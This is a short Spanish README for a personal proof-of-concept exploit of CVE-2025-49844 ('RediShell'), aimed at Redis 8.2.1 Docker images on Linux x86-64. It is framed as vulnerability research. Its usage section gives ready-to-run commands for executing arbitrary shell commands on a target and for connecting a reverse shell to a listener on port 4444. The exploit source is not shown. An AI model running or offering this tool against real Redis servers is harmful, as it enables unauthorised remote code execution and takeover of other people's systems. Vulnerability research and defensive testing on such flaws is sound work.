CVE-2025-49844

Mi prueba de concepto personal para CVE-2025-49844, también conocido como RediShell.

Compilaciones de destino compatibles:

• Linux x86-64, imagen Docker redis:8.2.1-alpine
• Linux x86-64, imagen Docker redis:8.2.1-bookworm

Es un poco torpe, probablemente no tan bueno como el de Wiz Research. Aun así, me alegra haber logrado que funcione antes de que se suban las charlas de Hexacon 2025, y lo pasé muy bien investigándolo.

Uso

Ejecutar comandos de shell unidireccionales:

$ uv run cve-2025-49844 command "echo 'hello world' > /data/hello.txt"

Conectarse a una shell inversa:

$ uv run cve-2025-49844 rshell -l 127.0.0.1 -p 4444